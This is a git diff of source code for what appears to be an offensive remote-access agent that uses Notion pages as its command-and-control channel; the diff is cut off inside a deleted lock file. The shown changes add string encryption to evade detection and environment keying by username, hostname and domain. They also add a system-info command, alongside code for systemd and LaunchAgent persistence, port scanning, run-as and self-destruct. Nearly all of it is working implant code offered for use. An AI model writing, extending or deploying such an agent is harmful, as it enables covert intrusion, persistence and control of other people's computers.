{ @@ -258,7 +259,7 @@ WantedBy=multi-user.target" ); write(svc_path, svc_string)?; let mut systemd_args = CommandArgs::from_string( - "systemctl enable notion.service".to_string() + lc!("systemctl enable notion.service") ); return shell::handle(&mut systemd_args).await; } else { @@ -314,7 +315,7 @@ WantedBy=multi-user.target" let b64_config = config_options.to_base64(); let launch_agent_dir: String; if is_root() { - launch_agent_dir = "/Library/LaunchAgents".to_string(); + launch_agent_dir = lc!("/Library/LaunchAgents"); } else { launch_agent_dir = format!("{home}/Library/LaunchAgents"); } diff --git a/agent/src/cmd/portscan.rs b/agent/src/cmd/portscan.rs index 86aa7dd..6ee2b94 100755 --- a/agent/src/cmd/portscan.rs +++ b/agent/src/cmd/portscan.rs @@ -6,6 +6,7 @@ use std::{ use cidr_utils::cidr::IpCidr; use tokio::net::TcpStream; use tokio::sync::mpsc::channel; +use litcrypt::lc; use crate::logger::{Logger}; use crate::cmd::{CommandArgs, notion_out}; @@ -97,7 +98,7 @@ async fn scan_target(target: IpAddr, port: u16, timeout: u64) -> Result Ok(format!("[+] {port} is open on host {target}")), + Ok(Ok(_)) => Ok(format!("{port} is open on host {target}")), _ => Ok("".to_string()) } } @@ -126,10 +127,10 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result = cmd_args.collect(); if args.len() <= 4 { - Ok(format!("[-] Improper args. + notion_out!("[-] Improper args. [*] Usage: portscan [ip] [true/false] [concurrency] [timeout] [*] Example: portscan 192.168.35.5 false 10 0 🎯" - )) + ) } else { let target: ScanTarget = eval_target(args[0].to_string()).await; diff --git a/agent/src/cmd/runas.rs b/agent/src/cmd/runas.rs index 3f4cd57..7936b91 100755 --- a/agent/src/cmd/runas.rs +++ b/agent/src/cmd/runas.rs @@ -1,4 +1,5 @@ use std::error::Error; +use litcrypt::lc; use crate::cmd::{CommandArgs, notion_out}; /// Runs given command as another user. Requires admin privs. diff --git a/agent/src/cmd/save.rs b/agent/src/cmd/save.rs index 4556dd8..689622d 100755 --- a/agent/src/cmd/save.rs +++ b/agent/src/cmd/save.rs @@ -1,6 +1,7 @@ use std::error::Error; use std::fs::write; use serde_json::to_string as json_to_string; +use litcrypt::lc; // use relative_path::RelativePath; use crate::cmd::{CommandArgs, ConfigOptions, notion_out}; diff --git a/agent/src/cmd/selfdestruct.rs b/agent/src/cmd/selfdestruct.rs index 2a75a95..6c33024 100644 --- a/agent/src/cmd/selfdestruct.rs +++ b/agent/src/cmd/selfdestruct.rs @@ -1,6 +1,7 @@ use std::error::Error; use std::env::args; use std::fs::remove_file; +use litcrypt::lc; #[cfg(windows)] use houdini; #[cfg(windows)] use rand::{thread_rng, Rng}; #[cfg(windows)] use rand::distributions::Alphanumeric; diff --git a/agent/src/cmd/shell.rs b/agent/src/cmd/shell.rs index 71956f4..1385247 100755 --- a/agent/src/cmd/shell.rs +++ b/agent/src/cmd/shell.rs @@ -2,6 +2,7 @@ use std::process::Command; use std::error::Error; use crate::cmd::CommandArgs; + /// Executes the given shell command. /// /// On Windows, calls out to `cmd.exe`. diff --git a/agent/src/cmd/shutdown.rs b/agent/src/cmd/shutdown.rs index c3e0768..236d126 100755 --- a/agent/src/cmd/shutdown.rs +++ b/agent/src/cmd/shutdown.rs @@ -1,4 +1,5 @@ use std::error::Error; +use litcrypt::lc; use crate::cmd::notion_out; /// Kills the agent. diff --git a/agent/src/cmd/sleep.rs b/agent/src/cmd/sleep.rs deleted file mode 100755 index 7af87a6..0000000 --- a/agent/src/cmd/sleep.rs +++ /dev/null @@ -1,21 +0,0 @@ -use std::error::Error; -use crate::cmd::{CommandArgs, ConfigOptions, notion_out}; - -/// Modifies the sleep and jitter times -/// -/// Usage: `sleep [SLEEP_TIME] [JITTER_TIME]` -pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions) -> Result> { - let sleep_interval: u64 = cmd_args - .nth(0) - .unwrap() - .parse() - .unwrap_or_else(|_| config_options.sleep_interval); - let jitter_time: u64 = cmd_args - .nth(0) - .unwrap() - .parse() - .unwrap_or_else(|_| config_options.jitter_time); - config_options.sleep_interval = sleep_interval; - config_options.jitter_time = jitter_time; - notion_out!("[+] Sleep time: {sleep_interval}, Jitter time: {jitter_time}") -} \ No newline at end of file diff --git a/agent/src/cmd/sysinfo.rs b/agent/src/cmd/sysinfo.rs new file mode 100644 index 0000000..33218e1 --- /dev/null +++ b/agent/src/cmd/sysinfo.rs @@ -0,0 +1,41 @@ +use std::error::Error; +use litcrypt::lc; +use whoami::{desktop_env, devicename, distro, username, platform, hostname}; +use crate::cmd::notion_out; + + +/// Returns a whole bunch of info about the current session, leans heavily on the whoami crate and organizes the info +pub async fn handle() -> Result> { + + let mut return_string: String = lc!("================= SYSINFO ================="); + + + let mut str_username: String = lc!("❓ Username: "); + let mut str_hostname: String = lc!("🏡 Hostname: "); + let mut str_distro: String = lc!("📀 Distro: "); + let mut str_platform: String = lc!("🖥️ Platform: "); + + let session_username: String = username(); + let session_hostname: String = hostname(); + let desktop_env = desktop_env().to_string(); + let session_distro = distro().to_string(); + let session_platform: String = platform().to_string(); + + + str_username.push_str(&session_username); + str_hostname.push_str(&session_hostname); + str_distro.push_str(&session_distro); + str_platform.push_str(&session_platform); + + return_string.push_str("\n"); + return_string.push_str(&str_username); + return_string.push_str("\n"); + return_string.push_str(&str_hostname); + return_string.push_str("\n"); + return_string.push_str(&str_distro); + return_string.push_str("\n"); + return_string.push_str(&str_platform); + + + Ok(return_string) +} \ No newline at end of file diff --git a/agent/src/cmd/unknown.rs b/agent/src/cmd/unknown.rs index 47c99d2..7e11068 100755 --- a/agent/src/cmd/unknown.rs +++ b/agent/src/cmd/unknown.rs @@ -1,4 +1,5 @@ use std::error::Error; +use litcrypt::lc; use crate::cmd::notion_out; /// Handles any weirdo commands that can't be interpreted. diff --git a/agent/src/config.rs b/agent/src/config.rs index 68bdcf0..8da164b 100644 --- a/agent/src/config.rs +++ b/agent/src/config.rs @@ -3,8 +3,10 @@ use std::io::{self, Write}; use std::fs; use std::fmt; use serde::{Deserialize, Serialize}; -use serde_json::{Value, to_string, to_value}; +use serde_json::{to_string, from_str}; use base64::encode; +use litcrypt::lc; +use crate::env_check::EnvCheck; // Config consts pub const URL_BASE: &str = "https://api.notion.com/v1"; @@ -14,6 +16,22 @@ pub const DEFAULT_SLEEP_INTERVAL: &str = "<>"; pub const DEFAULT_JITTER_TIME: &str = "<>"; pub const DEFAULT_LOG_LEVEL: &str = "<>"; pub const CONFIG_FILE_PATH: &str = "./cfg.json"; +pub const DEFAULT_ENV_CHECKS: &str = "<>"; + +/// Enum for ConfigOptions, useful for parsing configs from +/// arbitrary data. +#[derive(Debug, Serialize, Deserialize)] +pub enum ConfigOption { + ApiKey(String), + ParentPage(String), + Sleep(u64), + Jitter(u64), + LaunchApp(bool), + ConfigPath(String), + LogLevel(u64), + EnvChecks(Vec) +} + /// Storing Config Options as a struct for ergonomics. /// @@ -25,15 +43,17 @@ pub const CONFIG_FILE_PATH: &str = "./cfg.json"; /// #[derive(Debug, Serialize, Deserialize)] pub struct ConfigOptions { + pub api_key: String, + pub parent_page_id: String, pub sleep_interval: u64, pub jitter_time: u64, - pub parent_page_id: String, - pub api_key: String, - pub config_file_path: String, pub launch_app: bool, - pub log_level: u64 + pub log_level: u64, + pub config_file_path: String, + pub env_checks: Vec } + #[derive(Debug)] pub struct ConfigError(String); @@ -47,25 +67,6 @@ impl Error for ConfigError {} impl ConfigOptions { - /// Converts loaded json data into `ConfigOptions` - pub fn from_json(j: Value) -> ConfigOptions { - println!("{:?}", j); - ConfigOptions { - sleep_interval: j["sleep_interval"].as_u64().unwrap(), - jitter_time: j["jitter_time"].as_u64().unwrap(), - parent_page_id: j["parent_page_id"].to_string().replace('"', ""), - api_key: j["api_key"].to_string().replace('"', ""), - config_file_path: j["config_file_path"].to_string().replace('"', ""), - launch_app: j["launch_app"].as_bool().unwrap_or_default(), - log_level: j["log_level"].as_u64().unwrap_or_else(|| 4) // Info as default log level - } - } - - /// Produces the Jsonified version of the ConfigOptions - pub fn to_json(&self) -> Value { - to_value(self).unwrap() - } - /// Produces a base64 encoded String of the Options. /// /// This is useful for sending ConfigOptions to launch commands @@ -81,7 +82,7 @@ impl ConfigOptions { /// it's invoked with a tokio::spawn to encapsulate the work in an async thread. pub fn get_config_options_debug() -> Result> { - println!("Getting config options!"); + println!("[*] Getting config options!"); let stdin = std::io::stdin(); let mut sleep_interval = String::new(); @@ -110,10 +111,15 @@ pub fn get_config_options_debug() -> Result "); + println!("[*] Enter Log Level (0 [lowest] to 5 [highest]) > "); io::stdout().flush()?; stdin.read_line(&mut log_level)?; + let mut key_username = String::new(); + println!("[*] Enter username to key off > "); + io::stdout().flush()?; + stdin.read_line(&mut key_username)?; + Ok( ConfigOptions { sleep_interval: sleep_interval.trim().parse().unwrap(), @@ -123,6 +129,7 @@ pub fn get_config_options_debug() -> Result Result { config_file_path: CONFIG_FILE_PATH.to_string(), launch_app: true, log_level: DEFAULT_LOG_LEVEL.parse().unwrap_or_else(|_| 2), + env_checks: from_str(DEFAULT_ENV_CHECKS).unwrap_or_else(|_| Vec::new()) }; Ok(config_options) @@ -155,10 +163,16 @@ pub async fn load_config_options(c: Option<&str>) -> Result(c.as_str()) { + Ok(cfg) } else { - println!("[!] Could not convert {c} to JSON"); + + // Create ad-hoc encryption since we don't have a logger + #[cfg(debug_assertions)] { + let mut err_msg = lc!("[!] Could not convert to JSON: "); + err_msg.push_str(c.as_str()); + println!("{err_msg}"); + } get_config_options().await } } else { diff --git a/agent/src/env_check.rs b/agent/src/env_check.rs new file mode 100644 index 0000000..2ea127d --- /dev/null +++ b/agent/src/env_check.rs @@ -0,0 +1,159 @@ +use crate::config::ConfigOptions; +use serde::{Serialize, Deserialize}; +use whoami::username; +use whoami::hostname; + +#[cfg(windows)] +use windows::{ + core::{PSTR, PWSTR, PCWSTR}, + Win32::{ + Foundation::{GetLastError, ERROR_MORE_DATA}, + System::SystemInformation::{GetComputerNameExA, ComputerNameDnsDomain}, + NetworkManagement::NetManagement::{ + NetGetJoinInformation, + NetApiBufferFree, + NetSetupUnknownStatus, + NetSetupDomainName, + }, + } +}; + +/// Categorizes environment checks +#[derive(Debug, Serialize, Deserialize)] +pub enum EnvCheck { + Username(String), + Hostname(String), + Domain(String), + DomainJoined(bool) +} + +impl PartialEq for EnvCheck { + fn eq(&self, other: &String) -> bool { + match self { + EnvCheck::Username(s) => s == other, + EnvCheck::Hostname(s) => s == other, + EnvCheck::Domain(s) => s == other, + _ => false + } + } +} + +impl PartialEq for EnvCheck { + fn eq(&self, other: &bool) -> bool { + match self { + EnvCheck::DomainJoined(b) => b == other, + _ => false + } + } +} + +#[cfg(target_os = "windows")] +/// Get the joined domain name +fn get_domain_name() -> Option { + let mut domain_name_len = 0; + // Get the domain name length + unsafe { GetComputerNameExA(ComputerNameDnsDomain, PSTR(std::ptr::null_mut()), &mut domain_name_len) }; + + // GetComputerNameExW will set GetLastError to ERROR_MORE_DATA when querying + // for domain name length. Domain name lengths of 1 mean that the machine is + // not joined to a domain. + if unsafe { GetLastError() } != ERROR_MORE_DATA || domain_name_len <= 1 { + return None; + } + + // Get the domain name + let mut domain_name = vec![0u8; domain_name_len.try_into().ok()?]; + unsafe { GetComputerNameExA(ComputerNameDnsDomain, PSTR(domain_name.as_mut_ptr()), &mut domain_name_len) }.ok().ok()?; + + let str_domain: String = std::str::from_utf8(&domain_name).ok()?.to_string(); + //println!("[*] Domain name: {}", &str_domain.to_string()); + + Some(str_domain) +} + +#[cfg(target_os = "windows")] +/// Check if the machine is joined to a domain +fn is_domain_joined() -> bool { + let mut join_status = NetSetupUnknownStatus; + let mut name_buffer = PWSTR(std::ptr::null_mut()); + + // Check the domain join information + if unsafe { + NetGetJoinInformation(PCWSTR(std::ptr::null_mut()), &mut name_buffer, &mut join_status) + } != 0 { + return false; + } + + // Free the buffer that `NetGetJoinInformation` allocated + unsafe { NetApiBufferFree(name_buffer.0.cast()) }; + + // Return true if the machine is joined to a domain + join_status == NetSetupDomainName +} + + +/// Get the joined domain name +// Sure there are ways linux hosts can be domain joined, but let's focus on the 80% solution here ;) +#[cfg(not(windows))] +fn get_domain_name() -> Option { + None +} +#[cfg(not(windows))] +/// Get the joined domain name +#[cfg(not(windows))] +fn is_domain_joined() -> bool { + false +} + +/// Validates each kind of `EnvCheck`. +pub fn validate_env(e: &EnvCheck) -> bool { + match e { + EnvCheck::Username(u) => { + let session_username: String = username().to_lowercase(); + #[cfg(target_os = "windows")] { + // true back in the main method continues the program + u == session_username.as_str() || session_username == "SYSTEM" + } + #[cfg(not(windows))] { + // true back in the main method continues the program + u == session_username.as_str() || session_username == "root" + } + }, + EnvCheck::Hostname(h) => { + let session_hostname: String = hostname().to_lowercase(); + h == session_hostname.as_str() + }, + EnvCheck::Domain(d) => { + if let Some(ref domain_name) = get_domain_name() { + //println!("[*] Keying domain: {}", &d.to_string()); + //println!("[*] Domain name: {}", &domain_name.to_string()); + + // This means that a substring match for this check will pass + if domain_name.to_lowercase().trim().contains (d.to_lowercase().trim()) { + true + } else { + false + } + + } else { + false + } + }, + + EnvCheck::DomainJoined(j) => { + j == &is_domain_joined() + }, + + // TODO: Implement review for additional EnvChecks. + _ => true + } +} + +/// Confirms that all environment checks pass +pub async fn check_env_keys(config_options: &ConfigOptions) -> bool { + + config_options.env_checks + .iter() + .all(|e| validate_env(e)) + +} \ No newline at end of file diff --git a/agent/src/logger.rs b/agent/src/logger.rs index ff3bd05..d88d9d2 100644 --- a/agent/src/logger.rs +++ b/agent/src/logger.rs @@ -1,3 +1,5 @@ +use litcrypt::lc; + pub const LOG_DEBUG: u64 = 5; pub const LOG_INFO: u64 = 4; pub const LOG_WARN: u64 = 3; @@ -25,17 +27,16 @@ impl Logger { /// The actual function that logs to stdout pub fn log(&self, log_level: LogLevel, msg: String) { - let log_glyph = match log_level { - LOG_DEBUG => "[?]", - LOG_INFO => "[+]", - LOG_WARN => "[-]", - LOG_ERR => "[*]", - LOG_CRIT => "[!]", - _ => "" + let mut log_msg: String = match log_level { + LOG_DEBUG => lc!("[?] "), + LOG_INFO => lc!("[+] "), + LOG_WARN => lc!("[-] "), + LOG_ERR => lc!("[*] "), + LOG_CRIT => lc!("[!] "), + _ => "".to_string(), }; - let mut log_msg = String::from(log_glyph); log_msg.push_str(msg.as_str()); - println!("{log_glyph} {msg}"); + println!("{log_msg}"); } @@ -72,9 +73,17 @@ impl Logger { } macro_rules! log_out { - ($s:literal) => { - format!($s) + ($s:tt) => { + lc!($s) }; + ($s:tt, $($e:expr),*) => {{ + let mut res = lc!($s); + $( + res.push(' '); + res.push_str($e); + )* + res + }} } pub(crate) use log_out; \ No newline at end of file diff --git a/agent/src/main.rs b/agent/src/main.rs index 075a69d..0ff8ca2 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -4,7 +4,7 @@ extern crate tokio; extern crate serde_json; extern crate whoami; extern crate base64; - +extern crate litcrypt; use std::{thread, time}; use std::env::args; @@ -16,6 +16,7 @@ use whoami::hostname; use reqwest::Client; use reqwest::header::{HeaderMap, AUTHORIZATION, CONTENT_TYPE}; use base64::decode; +use litcrypt::{lc, use_litcrypt}; mod config; use config::{ @@ -31,12 +32,15 @@ use notion::{get_blocks, complete_command, create_page, send_result}; mod cmd; use cmd::{NotionCommand, CommandType}; mod logger; +use logger::log_out; +mod env_check; +use_litcrypt!(); #[tokio::main] async fn main() -> Result<(), Box> { - println!("[*] Starting!"); + println!("{}", lc!("[*] Starting!")); // Handle config options let mut config_options: ConfigOptions; @@ -76,24 +80,43 @@ async fn main() -> Result<(), Box> { // Start Notion App if configured to do so if config_options.launch_app { - logger.info("Launching app".to_string()); - let browser_cmd: &str; + logger.info(log_out!("Launching app")); + let browser_cmd: String; #[cfg(windows)] { - browser_cmd = r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"; + browser_cmd = r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe".to_string(); + } + #[cfg(target_os = "linux")] { + browser_cmd = lc!("/usr/local/bin/google-chrome"); + match Command::new(browser_cmd) + .arg("--app=https://notion.so") + .spawn() { + Ok(_) => {logger.info(lc!("Launching browser"));}, + Err(e) => {logger.err(e.to_string());} + }; } - #[cfg(not(windows))] { - browser_cmd = "/usr/local/bin/google-chrome"; + #[cfg(target_os = "macos")] { + // For Mac, since we can't launch Chrome, we're gonna have to + // Hope Chrome is there for us to abuse. + browser_cmd = lc!("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"); + match Command::new(browser_cmd) + .arg("--app=https://notion.so") + .spawn() { + Ok(_) => {logger.info(lc!("Launching browser"));}, + Err(e) => {logger.err(e.to_string());} + }; } - match Command::new(browser_cmd) - .arg("--app=https://notion.so") - .spawn() { - Ok(_) => {logger.info("Launching browser".to_string());}, - Err(e) => {logger.err(e.to_string());} - }; } - - let mut hn = hostname(); + // Before anything else happens, we key to the env if the config has been set. + // match the keyed results. This is boiled down to a bool to account for any type of keying (by username, domain, etc) + if env_check::check_env_keys(&config_options).await { + logger.info(log_out!("Keys match; continuing...")) + } else { + logger.crit(log_out!("Env check failure. Shutting down...")); + exit(1) + } + + let mut hn = hostname(); let username = whoami::username(); hn.push_str(" | "); hn.push_str(&username); @@ -103,7 +126,7 @@ async fn main() -> Result<(), Box> { hn.push_str("*"); } - logger.info(format!("Hostname: {hn}")); + logger.info(log_out!("Hostname: ", &hn)); logger.debug(format!("Config options: {:?}", config_options)); let mut headers = HeaderMap::new(); @@ -114,7 +137,7 @@ async fn main() -> Result<(), Box> { .default_headers(headers) .build()?; - let page_id = create_page(&client, &config_options, hn, &logger) + let page_id = create_page(&client, &config_options, hn, &logger, is_admin) .await .unwrap(); @@ -138,7 +161,7 @@ async fn main() -> Result<(), Box> { match block["to_do"]["text"][0]["text"]["content"].as_str() { Some(s) => { if s.contains("🎯") { - logger.info(format!("Got command: {s}")); + logger.info(log_out!("Got command: ", s)); let mut notion_command = NotionCommand::from_string(s.replace("🎯",""))?; let output = notion_command.handle(&mut config_options, &logger).await?; let command_block_id = block["id"].as_str().unwrap(); @@ -165,7 +188,7 @@ async fn main() -> Result<(), Box> { time::Duration::from_secs(config_options.sleep_interval + jitter_time); thread::sleep(sleep_time); - logger.info(format!("zzzZZZzzz: {} seconds", config_options.sleep_interval)); - logger.debug(format!("Jitter: {}", config_options.jitter_time)); + logger.info(log_out!("zzzZZZzzz: ", &config_options.sleep_interval.to_string(), "seconds")); + logger.debug(log_out!("Jitter: ", &config_options.jitter_time.to_string())); } -} +} \ No newline at end of file diff --git a/agent/src/notion.rs b/agent/src/notion.rs index 7987f1e..a9f9f53 100755 --- a/agent/src/notion.rs +++ b/agent/src/notion.rs @@ -54,16 +54,28 @@ pub async fn send_result(client: &Client, command_block_id: &str, output: String /// /// The returned value is the id of the new page, to be used with /// `doc::get_blocks()` -pub async fn create_page(client: &Client, config_options: &ConfigOptions, hostname: String, logger: &Logger) -> Option { +pub async fn create_page(client: &Client, config_options: &ConfigOptions, hostname: String, logger: &Logger, is_admin: bool) -> Option { logger.info(format!("Creating page...")); let url = format!("{}/pages/", URL_BASE); + let mut check_in_emoji: String = "".to_string(); + + if is_admin { + check_in_emoji.push_str("#️⃣"); + } else { + check_in_emoji.push_str("💲"); + } + // Craft JSON Body let body: serde_json::Value = json!({ "parent": { "type": "page_id", "page_id": config_options.parent_page_id }, + "icon": { + "type": "emoji", + "emoji": &check_in_emoji + }, "properties": { "title": [{ "text": { diff --git a/main.py b/main.py index a47c9de..dcfd703 100755 --- a/main.py +++ b/main.py @@ -96,7 +96,15 @@ def take_in_vars(): log_level = ask_for_input( important + "Enter the logging level for the agent (0-5) [default is 2][format: #]", "2") # API Key - api_key = getpass.getpass(important + "Enter your Notion Developer Account API key [will be concealed from terminal]> ") + + api_key = "" + while "secret_" not in api_key: + api_key = getpass.getpass(important + "Enter your Notion Developer Account API key [will be concealed from terminal]> ") + if "secret_" not in api_key: + print(important + "Hmm, that doesn't look like an API key. Try again!") + else: + continue + print(good + "Got your API key!") # Parent Page ID print( @@ -107,12 +115,34 @@ def take_in_vars(): "11223344556677889900112233445566\n") parent_page_id = input(important + "Enter your listener's parent page ID > ") print(good + "Parent page ID: {}".format(parent_page_id)) + # Litcrypt Key + litcrypt_key = ask_for_input( + important + "Enter the key to use to encrypt your agent's strings [default is 'offensivenotion']", "offensivenotion") + print(good + "Encryption key: {}".format(litcrypt_key)) + + print(important + "Guardrails!") + env_checks = [] + key_username = ask_for_input(important + "Enter a username to key off. [Leave blank for no keying to username]", "") + if key_username != "": + env_checks.append({"Username": key_username}) + + key_hostname = ask_for_input(important + "Enter a hostname to key off. [Leave blank for no keying to hostname]", "") + if key_hostname != "": + env_checks.append({"Hostname": key_hostname}) + + key_domain = ask_for_input(important + "Enter the domain name to key off. [Leave blank for no keying to domain name]", "") + if key_domain != "": + env_checks.append({"Domain": key_domain}) + json_vars = { "SLEEP": sleep_interval, "JITTER": jitter_time, "API_KEY": api_key, "PARENT_PAGE_ID": parent_page_id, - "LOG_LEVEL": str(log_level) + "LOG_LEVEL": str(log_level), + "LITCRYPT_KEY": litcrypt_key,\ + # "[{\"Username\": \"husky\"}]" + "ENV_CHECKS": env_checks } json_string = json.dumps(json_vars) return json_string @@ -125,7 +155,8 @@ def read_config(): print(recc + "Your configs are: ") for k, v in data.items(): if k == "API_KEY": - print(r" [*] {}: [REDACTED]".format(k)) + redacted_key = v[:10] + "***" + v[-5:] + print(r" [*] {}: {}".format(k, redacted_key)) else: print(r" [*] {}: {}".format(k, v)) return data @@ -156,8 +187,14 @@ def sed_source_code(): source_file = agent_dir + "/src/config.rs" f = open("config.json") data = json.load(f) + + for k, v in data.items(): - utils.file_utils.sed_inplace(source_file, "<<{}>>".format(k), v) + if k == "ENV_CHECKS": + key_var = json.dumps(v).replace("\"","\\\"") + utils.file_utils.sed_inplace(source_file, "<<{}>>".format(k), key_var) + else: + utils.file_utils.sed_inplace(source_file, "<<{}>>".format(k), v) def set_env_vars(): @@ -248,6 +285,10 @@ def main(): # rest of the env here new_env = os.environ.copy() + # Ensure Litcrypt Key is set for the proper name + new_env["LITCRYPT_ENCRYPT_KEY"] = json_vars["LITCRYPT_KEY"] + print(info + "Litcrypt env var set to: {}".format(new_env["LITCRYPT_ENCRYPT_KEY"])) + # Set extra env vars for macOS build if args.os == "macos": print(info + "Building for macOS; setting env vars") @@ -255,7 +296,7 @@ def main(): new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_LINKER"] = "x86_64-apple-darwin14-clang" new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" - # print(new_env.) + # print(new_env) sub.call( [f"cargo build -Z unstable-options --out-dir /out {os_arg} {build_arg}"], shell=True, diff --git a/poetry.lock b/poetry.lock deleted file mode 100755 index 21ebf5f..0000000 --- a/poetry.lock +++ /dev/null @@ -1,257 +0,0 @@ -[[package]] -name = "certifi" -version = "2021.10.8" -description = "Python package for providing Mozilla's CA Bundle." -category = "main" -optional = false -python-versions = "*" - -[[package]] -name = "charset-normalizer" -version = "2.0.10" -description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." -category = "main" -optional = false -python-versions = ">=3.5.0" - -[package.extras] -unicode_backport = ["unicodedata2"] - -[[package]] -name = "click" -version = "8.0.3" -description = "Composable command line interface toolkit" -category = "main" -optional = false -python-versions = ">=3.6" - -[package.dependencies] -colorama = {version = "*", markers = "platform_system == \"Windows\""} - -[[package]] -name = "colorama" -version = "0.4.4" -description = "Cross-platform colored terminal text." -category = "main" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" - -[[package]] -name = "flask" -version = "2.0.2" -description = "A simple framework for building complex web applications." -category = "main" -optional = false -python-versions = ">=3.6" - -[package.dependencies] -click = ">=7.1.2" -itsdangerous = ">=2.0" -Jinja2 = ">=3.0" -Werkzeug = ">=2.0" - -[package.extras] -async = ["asgiref (>=3.2)"] -dotenv = ["python-dotenv"] - -[[package]] -name = "idna" -version = "3.3" -description = "Internationalized Domain Names in Applications (IDNA)" -category = "main" -optional = false -python-versions = ">=3.5" - -[[package]] -name = "itsdangerous" -version = "2.0.1" -description = "Safely pass data to untrusted environments and back." -category = "main" -optional = false -python-versions = ">=3.6" - -[[package]] -name = "jinja2" -version = "3.0.3" -description = "A very fast and expressive template engine." -category = "main" -optional = false -python-versions = ">=3.6" - -[package.dependencies] -MarkupSafe = ">=2.0" - -[package.extras] -i18n = ["Babel (>=2.7)"] - -[[package]] -name = "markupsafe" -version = "2.0.1" -description = "Safely add untrusted strings to HTML/XML markup." -category = "main" -optional = false -python-versions = ">=3.6" - -[[package]] -name = "requests" -version = "2.27.1" -description = "Python HTTP for Humans." -category = "main" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" - -[package.dependencies] -certifi = ">=2017.4.17" -charset-normalizer = {version = ">=2.0.0,<2.1.0", markers = "python_version >= \"3\""} -idna = {version = ">=2.5,<4", markers = "python_version >= \"3\""} -urllib3 = ">=1.21.1,<1.27" - -[package.extras] -socks = ["PySocks (>=1.5.6,!=1.5.7)", "win-inet-pton"] -use_chardet_on_py3 = ["chardet (>=3.0.2,<5)"] - -[[package]] -name = "urllib3" -version = "1.26.8" -description = "HTTP library with thread-safe connection pooling, file post, and more." -category = "main" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4" - -[package.extras] -brotli = ["brotlipy (>=0.6.0)"] -secure = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "certifi", "ipaddress"] -socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] - -[[package]] -name = "werkzeug" -version = "2.0.2" -description = "The comprehensive WSGI web application library." -category = "main" -optional = false -python-versions = ">=3.6" - -[package.extras] -watchdog = ["watchdog"] - -[metadata] -lock-version = "1.1" -python-versions = "^3.8" -content-hash = "295e158c30ee154249cc9636f36a1dbfcf447d0343ea9a8520a1e936bbec3c1d" - -[metadata.files] -certifi = [ - {file = "certifi-2021.10.8-py2.py3-none-any.whl", hash = "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569"}, - {file = "certifi-2021.10.8.tar.gz", hash = "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872"}, -] -charset-normalizer = [ - {file = "charset-normalizer-2.0.10.tar.gz", hash = "sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd"}, - {file = "charset_normalizer-2.0.10-py3-none-any.whl", hash = "sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455"}, -] -click = [ - {file = "click-8.0.3-py3-none-any.whl", hash = "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3"}, - {file = "click-8.0.3.tar.gz", hash = "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b"}, -] -colorama = [ - {file = "colorama-0.4.4-py2.py3-none-any.whl", hash = "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"}, - {file = "colorama-0.4.4.tar.gz", hash = "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"}, -] -flask = [ - {file = "Flask-2.0.2-py3-none-any.whl", hash = "sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a"}, - {file = "Flask-2.0.2.tar.gz", hash = "sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2"}, -] -idna = [ - {file = "idna-3.3-py3-none-any.whl", hash = "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff"}, - {file = "idna-3.3.tar.gz", hash = "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"}, -] -itsdangerous = [ - {file = "itsdangerous-2.0.1-py3-none-any.whl", hash = "sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c"}, - {file = "itsdangerous-2.0.1.tar.gz", hash = "sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0"}, -] -jinja2 = [ - {file = "Jinja2-3.0.3-py3-none-any.whl", hash = "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8"}, - {file = "Jinja2-3.0.3.tar.gz", hash = "sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7"}, -] -markupsafe = [ - {file = "MarkupSafe-2.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d"}, - {file = 